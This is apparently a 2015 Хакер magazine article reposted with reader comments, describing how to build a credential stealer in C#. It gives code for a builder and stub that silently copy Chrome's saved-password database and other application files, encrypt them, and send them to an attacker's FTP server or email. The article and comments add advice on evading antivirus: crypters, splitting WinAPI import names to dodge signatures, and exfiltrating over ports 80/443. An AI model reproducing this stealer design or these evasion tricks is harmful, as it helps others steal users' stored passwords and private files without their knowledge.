Есть такой класс программ, призванных получать у пользователя конкретные (или какие угодно) файлы и направлять их специально уполномоченным людям. Конечно, с предварительного письменного согласия упомянутых пользователей! Этот класс программ называют Stealer. Самый яркий их представитель, UFR Stealer имеет симпатичный интерфейс, множество настроек и по какому-то недоразумению детектируется всеми известными антивирусами. А что было бы, если бы хакеры писали подобные программы на С#? Пофантазируем!

Для начала — соберись с духом и обновись наконец на бесплатную Visual Studio Community 2013 :). На дворе 2015 год, и сидеть на старой Visual Studio Express уже не круто. Как поставишь — загляни в раздел Extensions and updates и установи несколько полезных расширений, таких как Resharper или Productivity Power Tools 2013. Для анализа полученных сборок вполне подойдет бесплатный декомпилер dotPeek, это очень хорошая утилита, которая покажет, что там получилось, и может построить солюшен и файл с отладочными символами.

Кратко о программе


  • Умеет брать заданные файлы, шифровать и высылать на FTP или email.
  • Написан с применением 22-го паттерна каталога GOF «Шаблонный метод», очень легко расширять ассортимент для пересылки. На выходе exe 9 Кб.
  • Только сам билдер может открыть полученный контейнер (сериализованный словарь <Name, Data>), расшифровать и вынуть сохраненные файлы.
  • Ключ хардкорный.
  • Иконку не задает, от аверов не бегает.

Ставим задачи и определяем требования


Итак, попробуем предположить, как хакеры размышляют на данном этапе. Для них проблема заключается в том, что у пользователя есть файлы, которые интересны не только ему. Возможно, юзер даже и не знает, что они существуют и где точно расположены, но от этого хакерам легче не становится. Надо каким-то образом получить их копию и посмотреть, что внутри, — кто знает, может быть, это именно то, что нужно?

Чтобы своими действиями не беспокоить пользователя, не прерывать его сериалы и не мешать общению в социальных сетях, хакеры добавляют в свои программы определенный функционал. Их программы имеют небольшой размер и молча выполняют свою работу (silent mode). Целевой платформой на сегодняшний день обычно выбирают Windows 7 и более старшие версии. XP — дело хорошее, но она сдает позиции, и, по данным одного известного антивирусного разработчика, ее доля на конец 2015 года составит всего 16–17%.

Проектируем и конструируем



Solution Explorer

По телевизору говорят, что хакеры всегда сидят за компьютерами в масках и перчатках :). Чтобы им было не так жарко программировать, давай поставим задачу: программа должна быть реально маленькой. Как по количеству строк кода, так и по размеру исполнимого файла. Итак, в Visual Studio создаем новое оконное приложение и определяем несколько пространств имен (namespace):
  • Stealer — логика и интерфейс;
  • Stealer.Targets — файлы, которые будут целью программы;
  • Stealer.STUB — собственно сам стаб;
  • Stealer.Extension — расширяющие методы (один потребуется).

Нужно это, чтобы не путаться в том, какой класс куда вложить и, соответственно, где его потом искать. Собственно самих классов будет не так много, в основном это различные реализации абстракции AbstractFile (22-й паттерн из каталога GOF «Шаблонный метод»). Вот его код:

namespace Stealer.Targets
{
abstract class AbstractFile
{
	public byte[] DoJob()
	{
    	return IsExist() ? GetFile() : null;
	}

	public abstract bool IsExist();
	public abstract byte[] GetFile();
}
}

Основная идея этого класса заключается в формировании структуры алгоритма, который уже будет реализован в Google Chrome, ICQ, Skype и так далее.

Да, небольшое дополнение. В данном примере логика работы приложения находится внутри разделяемого класса Form, если хочется дополнительно реализовать консольный или WPF-интерфейс, то ее следует вынести отдельно и подписаться на группу ожидаемых событий. Подробнее про правильную архитектуру можно почитать у Стива Макконнелла (Code complete).

Интерфейс



MainForm

На созданном в дизайнере окне накидывается меню, три комбобокса, две кнопки, шесть текстбоксов с лейблами и одиннадцать чекбоксов. Примерная группировка и расположение этих элементов показана на картинке. Стиль окна выставляется в «диалог», чтобы его нельзя было развернуть на весь экран. Иконка по вкусу, в сети есть архивы с тысячами экземпляров на любой вкус. Подписка будет реализована на три события, а именно на нажатие на копки Check all, BUILD и пункт меню «&OpenFile...». На этом дизайн визуальной части приложения заканчивается, двигаемся дальше.

Код под кнопками мог бы быть весьма тривиальным, но, как говорится, не тут-то было. Выдержка из BUILD:

var replaceAdd = new StringBuilder();
var replaceClass = new StringBuilder();
var checkedBoxes = this.AllControls<CheckBox>().Where(c => !c.Text.Contains("-")).Where(c => c.Checked);
foreach (CheckBox checkBox in checkedBoxes)
{
	string className = checkBox.Text;
	replaceAdd.AppendLine(string.Format(@"_filesList.Add(new {0}());", className));
	var item = GetResource(string.Format(@"Stealer.Targets.{0}.cs", className));
	replaceClass.AppendLine(CutTheClass(item));
}
stub.Replace(@"//[Add_toList]", replaceAdd.ToString());
stub.Replace(@"//[Class]", replaceClass.ToString());

Стандартными средствами пройтись по коллекции активных чекбоксов возможно, но зачем писать так просто, когда есть красивые решения на страницах Stack Overflow? Это и объясняет появление дополнительного пространства имен для подсмотренного метода расширения, где он и расположен (по совету Трея Нэша в книге Accelerated C# 2010). Фишка этого решения также в том, что все классы, реализующие абстракцию, являются вложенными ресурсами приложения (далее показано, как это сделать) и имеют то же имя, что и текст на чекбоксах. Поэтому всего-то нужно пробежаться по всем активным элементам и собирать их имена, попутно добавляя в коллекцию и заменяя метку в классе стаб, //[Add_toList] для добавления в List и //[Class] для определения самих классов. Адрес FTP, пароль, логин и данные для почты реализованы стандартно — получил текст с элемента управления и вставил в стаб.

Получение самих ресурсов происходит следующим образом. Создается экземпляр var assembly = Assembly.GetExecutingAssembly(), и в потоке Stream stream = assembly.GetManifestResourceStream(resourceName) происходит чтение данных до конца и возврат строки текста. Переменная resourceName имеет значение @«Stealer.STUB.Stub.cs» что соответствует полному пути расположения указанного файла. Аналогичным образом ведется работа с другими элементами решения, в коде эта строка выглядит так: "@«Stealer.Targets.{0}.cs», className", где className — это имя класса и текст на чекбоксе.

Задача кнопки Check all сводится к управлению галочками сразу на всех целях. Реализуется это через приватное поле класса Form булева типа и один метод, который принимает это значение в качестве аргумента, применяя его к каждому чекбоксу. На обработчике события считывается значение указанного поля и передается методу, по завершению его работы оно меняется на противоположное.

Переходим к «&OpenFile...». Здесь придется забежать немного вперед, перед прочтением рекомендую ознакомиться с разделом «Стаб». Код в данном обработчике организован стандартным способом, открывается OpenFileDialog и получает полное имя файла (содержащее путь), читает его в FileStream и копирует в MemoryStream для того, чтобы можно было расшифровать байты. В итоге имеем исходный поток, который надо десериализовать (Deserialize) в словарь, созданный в стабе Dictionary<string, byte[]>. Получается, что по сети был передан объект, сохранивший свое состояние. Плюсы заключаются в том, что это хорошо работает, не требуется использовать код архивирования, а промежуточный результат прочитать сможет только хакер или его друзья реверсеры. Далее следует сохранение содержащегося в оперативной памяти словаря на HDD, тут и пригодится строка, которая задает имя файла. Реализовано данное действие через foreach по «KeyValuePair<string, byte[]> item in _files», в теле цикла которого две строки: первая «string filePath = string.Format(folderPath + @"\{0}", item.Key);» и завершает его запись «File.WriteAllBytes(filePath, item.Value);». Все лаконично и красиво.

Стаб


Это класс, который будет скомпилирован в отдельную исполняемую сборку с помощь экземпляра CSharpCodeProvider и метода CompileAssemblyFromSource. Для того чтобы он стал доступным для чтения в рантайме, нужно в его параметрах (F4) указать Build Action = Embedded Resource, а строкой ниже Do not copy. Чтобы студия не ругалась на два метода Main, в настройках проекта указывается Startup object = Stealer.Program, это на тот случай, когда класс «Стаб» не является ресурсом и можно провести анализ кода на наличие ошибок. Теперь давай посмотрим на пример кода.

namespace Stealer.STUB
...
public class Stub
{
    private static List<AbstractFile> _filesList = new List<AbstractFile>();

    public static void Main(string[] args)
    {
        DoJob();
    }

    private static void DoJob()
    {
        //[Add_toList]
        Dictionary<string, byte[]> _files = new Dictionary<string, byte[]>();
        foreach (AbstractFile targetFile in _filesList)
        {
            var data = targetFile.DoJob();
            if (data != null)
            {
                _files.Add(targetFile.ToString(), data);
            }
        }

        using (MemoryStream memoryStream = new MemoryStream())
        {
            BinaryFormatter formatter = new BinaryFormatter();
            formatter.Serialize(memoryStream, _files);
            byte[] encodedBytes = Encrypt(memoryStream.ToArray());

            if (_sendViaFtp)
            {
                SendViaFtp(encodedBytes);
            }

            if (_sendViaEmail)
            {
                SendViaEmail(encodedBytes);
            }
        }
    }
}
//[Class]

В первую очередь здесь следует обратить внимание на то, что вся основная работа выполняется с использованием обобщенной коллекции List и абстракции. Все элементы коллекции апкастятся до абстрактного класса, и на их экземплярах вызывается метод DoJob, который проверяет, есть ли искомый файл, и, если ответ да, он пытается его достать. Далее каждый полученный файл помещается в коллекцию Dictionary<string, byte[]>, в которой хранится имя программы, содержащей файл, и сами данные в виде массива байтов. После обхода всей коллекции List и заполнения Dictionary производится сериализация последнего, затем его шифрование и, наконец, отправка по указанному каналу связи.

В листинге не отображены методы SendViaFtp и SendViaEmail, примеры которых будут показаны далее, метод Encrypt (на самом деле конкретная реализация не имеет значения, выбирается любой симметричный алгоритм), класс AbstractFile и поля класса, которые будут хранить в себе логины, пароли а также ключи шифрования. На этом все, больше ничего интересного и нового в стабе нет.

Алгоритм получения файлов


Благодаря паттерну «Шаблонный метод» проектировать классы для поиска и получения файлов стало очень просто, можно добавлять десятки новых, и при этом не потребуется вносить никаких изменений в использующий их код, то есть стаб. Вызывающей стороне все равно, что и как реализовано внутри, называется это дело абстрагированием вариантов исполнения. Для примера посмотрим на реализацию класса GoogleChrome, из названия которого можно догадаться о том, что именно он должен найти и скопировать.

namespace Stealer.Targets
...
class GoogleChrome : AbstractFile
{
    private string _path = null;

    public override bool IsExist()
    {
        string userNamePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
        _path = string.Format(@"{0}\Google\Chrome\User Data\Default\Login Data", userNamePath);
        return File.Exists(_path);
    }

    public override byte[] GetFile()
    {
        string pathCopy = Path.GetTempPath() + Path.GetRandomFileName();
        File.Copy(_path, pathCopy);
        byte[] data = File.ReadAllBytes(pathCopy);
        File.Delete(pathCopy);
        return data;
    }

    public override string ToString()
    {
        return "GoogleChrome";
    }
}

Метод ToString переопределен для того, чтобы словарь из стаба было удобнее заполнять и анализировать при получении. Другие классы по поиску файлов выглядят идентично, разница лишь в пути и, возможно, наличии дополнительных проверок в зависимости от типа хранения. Чтобы не забыть, какие методы надо реализовать от унаследованного класса, или просто сократить время клавиатурного ввода, на AbstractFile можно нажать мышкой и подождать появления подсказки implement abstract class, которая автоматически построит нужный код.

Программирование без напряга


Узнать, сколько всего можно дописать в программе без особых усилий и как сэкономить кучу времени на личных исследованиях, хакерам помогает ресурс Password Secrets of Popular Windows Applications, на нем заботливо выложена информация о расположении интересующих файлов и утилит для анализа.

Алгоритм отправки файлов



SendViaFTP

Как видно на картинке главной формы приложения, в этой части будет обсуждаться пример реализации отправки по FTP и email. Начнем с первого. В конструкторе FtpWebRequest задается URL из текстбокса главной формы, который был вставлен на свою метку в стабе. К нему также добавляется имя передаваемого файла, в качестве которого используется Environment.UserName в связке с Path.GetRandomFileName. Это сделано с той целью, чтобы пользователи с одинаковыми именами не перезатирали друг друга. Метод транспортировки устанавливается в WebRequestMethods.Ftp.UploadFile, и указывается NetworkCredential(_ftpUser, _ftpPass) по аналогии с URL. Работоспособность метода проверяют на локальном FTP, для этого был использован smallftpd 1.0.3.


SendViaEmail

С почтой поначалу возникали некоторые проблемы, а все из-за изменений в правилах подключения (подробнее можно почитать здесь: «Использование SmtpClient для отправления почты через SMTP-сервер»). Формирование письма начинается с вложения, и, так как в метод для отправки передается массив байтов, а конструктор Attachment ждет MemoryStream, переводим его в MemoryStream в начале метода, используя директиву using. Имя файла задается аналогично FTP. В самом сообщении MailMessage инициализируются свойства From, Subject, Body, Sender, To, и завершает эстафету вызов Attachments.Add(attachment), добавляя созданное вложение. Далее следует экземпляр SmtpClient, который заполняется аналогично сообщению. И наконец, строка smtpClient.Send(mail); отправляет сформированное письмо на почтовый сервер.

Заключение


Сегодня мы пофантазировали на тему, как мог бы выглядеть Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Замечу, что в ходе экспериментов мой антивирус начал подавать сигнал тревоги, только когда был добавлен метод Encrypt, до этого программа могла отправлять файл по FTP куда угодно. С появлением опции отправки по почте имя определяемой «малвари» изменилось на «троян»… а вот про то, как с этим борются хакеры, читай в предыдущих выпусках ][ в статье про крипторы :).

DVD


Сорцы проекта ждут тебя на dvd.xakep.ru. Чтобы не слишком радовать скрипткиддисов и не раздражать служителей закона, напрямую они не компилируются. Придется исправить кое-какие минимальные ошибки. Так что все грехи — на твоей совести!

image

Впервые опубликовано в журнале «Хакер» от 02/2015.
Автор: Dywar, mrdywar@gmail.com


Подпишись на «Хакер»

Комментарии (24)


  1. priv8v
    21.04.2015 15:55
    +1

    Самый яркий их представитель, UFR Stealer имеет симпатичный интерфейс

    Скорее широко известный у нехороших товарищей среднего школьного возраста — он русскоязычен, красивый интуитивно понятный GUI, пара кнопок, небольшой вес билда, большой функционал, возможность кастомизации в том же интерфейсе. Был широко популярен в свое время в странах СНГ (его очень многие использовали).

    А о чем статья вообще? О том как создавать чекбоксы и как по маске файлы искать? Ладно бы еще какую-то изюминку ковыряли, так нет же — топор топором.


  1. propell-ant
    21.04.2015 17:08
    +3

    На выходе exe 9 Кб
    … и приглашение скачать поставить фреймворк. ппц.


    1. force
      21.04.2015 18:01
      +4

      Вы из какого года это пишете? Framework уже с Vista поставляется, лезет через апдейты, а количество программ, его требующих превышает все разумные пределы.


      1. DarkByte
        22.04.2015 05:52
        -1

        Шёл 2015 год, на компе установлена лицензионная копия Windows 8, включено автоматическое обновление, поставлена туча различных программ и сопутствующие им зависимости, и всё равно, при запуске какой-нибудь утилиты да вылезет заветное окошко, что msvcr*.dll не найден. Ну и что с того, что тулза не свежая, зато весит мало!


        1. force
          22.04.2015 09:10
          +4

          Тут вы мимо. msvcr*.dll не имеет никакого отношения к .NET Framework.
          Это как раз родной С++


          1. DarkByte
            22.04.2015 09:25

            Разве «Microsoft Visual C++ Redistributable Package», вместе с которым распространяется данная библиотека, не фреймворк?


            1. force
              22.04.2015 10:11
              +2

              Это не .NET Framework и к нему не имеет отношения. Соответственно не имеет отношения к вашему первоначальному высказыванию.
              И это C++ Runtime, т.е. библиотека для запуска приложений, написанных на C++ с помощью Visual Studio. Распространяется отдельно, т.к. этот рантайм разбух до неприличных размеров, чтобы засовывать его в каждый файл, он требуется куче приложений, поэтому лучше поместить в отдельное место, и к нему могут выходить апдейты и багфиксы со стороны Microsoft, которые не будут требовать перекомпиляции приложения.


      1. propell-ant
        22.04.2015 10:04
        +2

        Тутошный я, год 2015, планета Земля, и реальность совпадает.
        И пишу на C#.
        Просто я знаю, как разворачиваются приложения и сколько это требует внимания. И тестирования. Вдумчивого тестирования с чистыми и грязными тестовыми машинами.
        И мой опыт говорит только об одном — Microsoft умеет и любит делать так, чтобы через годик-два при установке софтины админ увидел окошко с приглашением поставить что-то вкусненькое. Это будет делом пары минут на отдельной машине, пол-часика в домене, всё удобно и приятно, но приглашение скачать — будет.

        Кто согласен — пририсуй вагончик поставь плюсик


  1. midday
    21.04.2015 22:30
    +6

    Да. Хакеры уже не те


  1. AHTOLLlKA
    21.04.2015 22:35

    думаю АВ кричать будут еще больше на столь маленький файл…


    1. DarkByte
      22.04.2015 06:03

      Представим что у антивирусов нет никакой магической эвристики и они работают только по базе сигнатур. Допустим что антивирусы это очень простые программы, которые выполняют только один алгоритм — поиск подстроки в строке, без какого либо анализа содержимого файлов. В таком случае чем больше размер файла, тем больше вероятность того, чтобы в нём найдутся сигнатуры, которые есть в базе антивируса.


      1. AHTOLLlKA
        22.04.2015 09:35

        Вы про «Антивирус Бабушкина»?


        1. DarkByte
          22.04.2015 10:03

          Когда задавался этим вопросом, работало почти на всех антивирусах представленных в проекте virustotal, за исключением некоторых нонеймов, которые редко что детектили. Исследование проводил не в целях написания неуловимого виря, а для защиты своего ПО от нападок со стороны антивирусов, которые в некоторых момент вдруг начинали детектить вирусы в казалось бы нормальных приложениях.

          В результате оказалось, что если на Delphi создать пустое консольное приложение, то несколько антивирусов его сразу заподозрят в неладном, если к этому приложению добавить VCL библиотеки, которые раздуют вес приложения с ~10кб до ~400кб, при этом опять же не добавлять никакого функционала, то уже больше антивирусов посчитают нужным сказать что файл заражен Generic.Trojan и тому подобное. Если к функционалу добавить вызовы каких-нибудь «страшных» функций из WinAPI, то можно получить почти 100% вердикт что файл — вирус.

          Но стоит замаскировать таблицу импорта, например, разделив название функции CreateFileA на три отдельных слова, которые в коде конкатенируются и всё, ноль реакции со стороны антивирусов, какие бы функции не использовал, откуда бы их не импортировал. После того, как узнал об этом, довольно надолго забыл про проблемы пользователей с очередным новым антивирусом или новой версией баз. Правда потом один антивирус нашёл у меня на одном из поддоменов .txt файл с вирусом и решил заблокировать доступ своим пользователям к данному домену и всем его поддоменам, но это уже другая история, и лечилась она иначе.


          1. AHTOLLlKA
            22.04.2015 17:39

            но вы не забывайте что по сути новое ЕХЕ у АВ в песочнице и вдруг ему надо заюзать потенциально вредоносное API, он у с себя такой в голове для поведенческой активности:
            «хм… WriteMemory + 80% к опасности»
            «размер в 5кб, омг скорей всего даунлодер + 20% к опасности »

            я конечно через чур утрировано все привожу, но всякое бывает, здругой стороны такой вирус оправдан если грузить его через сплоиты сразу в память, либо написать и сжать и сделать еще меньше, то вообще можно сразу с эксплоита грузить =)

            но с технической стороны статью интересно было почитать


  1. rumyancevpavel
    22.04.2015 09:46

    «Хакерская» программа с UI где пользователь должен отметить галочками типы файлов которые он хочет отравить «хакерам», при этом любезно указать логин и пароль для «хакерского» FTP сервера на который эти файлы будут отправленны… Я даже не знаю как на это реагировать…
    Пройдет еще немного времени и «хакеры» напишут статью о том как редактировать PATH в Windows 10 для того чтобы пользователь мог запускать «хакерские» программы (наподобие описанной в статье) из командной строки не указывая полный путь к «вредоносному» *.exe


    1. foxmuldercp
      22.04.2015 20:19

      Вы еще забыли напомнить, что для этого надо отключить UAC, Антивирус, фаервол и защиту на роутере, и работать исключительно под Администратором с повышенными привилегиями, ставить все подряд, использовать все подряд кряки, и не забыть с этого компьютера регулярно заходить на свой суперхакерский клиент банк с хакнутыми миллионами…

      Ой, простите. вырвалось, я не хотел…


    1. navion
      23.04.2015 23:33

      Это же билдер с дебагом.


  1. DarkByte
    23.04.2015 09:10
    -1

    Сообщение от автора топика Dywar (read-only):

    Спасибо что уделили время прочитав статью и оставили отзыв.

    priv8v — низкий поклон.
    Теперь разбавим комментарии позитивчиком, что бы не вводить читателя в заблуждение игрой в одну калитку.

    1) Вопрос — «при этом любезно указать логин и пароль для «хакерского» FTP сервера на который эти файлы будут отправленны».
    Ответ — «Кратко о программе… от аверов не бегает.» revers etc… КЭП очевидность передает привет :)

    2) Очень много умных слов, наверно человек разбирается в вопросе. Но так ли это на самом деле?
    а) UAC.
    Задача — управлять маркером доступа.
    Пользователь может запустить браузер, который прочитает файл с паролями? — Да.
    Может ли сделать тоже самое Stealer запущенные тем же пользователем? — Да.
    Возможно имелся ввиду фильтр Windows SmartScreen.
    Где почитать? — М. Руссинович, Д. Соломон — «Внутреннее устройство Microsoft Windows 6-е издание», стр. 651.

    б) Антивирус.
    Согласен, сложно.
    Ответ — криптор. Если прочитать тему до конца, то там это слово встречается.

    в) Фаервол.
    Согласен, сложно.
    Ответ — (один из) часто открытые порты 80, 443.
    FireWall следит за тем как был запущен разрешенный процесс? — Больше нет чем да.

    г) Роутер.
    Возможная проблема — анализирует трафик до 2-3 уровня OSI, по заранее указанным правилам.
    Он контролирует запущенные процессы на компьютере, ноутбуке, планшете, телефоне? — Нет.
    Он может отличить запрос пользователя upload file ..., или подобный запрос от Stealer? — Нет.

    д) Администратор с повышенными привилегиями.
    Stealer изменяет настройки системы которые могут повлиять на других пользователей? — Нет.
    Stealer нуждается в правах администратора? — При определенных обстоятельствах да, но в данном конкретном примере нет.

    e) Качать все подряд.
    Пример.
    Notepad++ — популярная программа? — Да.
    Notepad++ — подписан ЭЦП? — Нет.
    Вы всегда сверяете хэш файлов скачанных по сети? — Больше нет чем да.

    Если все так *просто почему это не написано сразу?
    Ответ.
    Человек может ходить на работу пешком? — Да.
    Человек может может ползти, прыгать, бежать, кувыркаться проделывая тот же путь? — Да.
    Почему он этого не делает? — Возможно потому что это не всегда уместно.

    Остались вопросы? Контакты в теме.


    1. priv8v
      24.04.2015 09:45

      Почему обойден стороной поведенческий анализ? Практически каждый нормальный ав-комплекс заорет благим матом, если увидит, что некое непонятное ПО начало вот так вот в лоб лопатить файлы с чужими паролями.


      1. navion
        24.04.2015 12:54

        Где-нибудь можно почитать про эти паттерны? И как они реагируют на менеджеры паролей?


        1. priv8v
          24.04.2015 13:17

          Думаю, что нигде не можно почитать. А те кто знает в силу тех или иных обстоятельств как это все реализовано, как там устроено и по какой логике работает — в силу тех же самых обстоятельств это не расскажут, скорее всего.

          Если грубо и коротко, то: популярные менеджеры паролей с точки зрения АВ не подпадают по категорию «некое непонятное ПО».


          1. navion
            24.04.2015 17:40

            Наверняка есть независимые исследования, в том же Хакере или ещё где. А в QA антивирусных вендоров я не верю, если есть реакция по таким паттернам, то и ложные срабатывания будут.


            1. priv8v
              24.04.2015 17:52

              Бывают. В данном случае это выглядит обычно как алерт от антивируса пользователю вида «разрешить/запретить?», а в идеале антивирус сам старается принять такое решение.


  1. navion
    23.04.2015 23:31

    Реинкарнация Snitch на C#?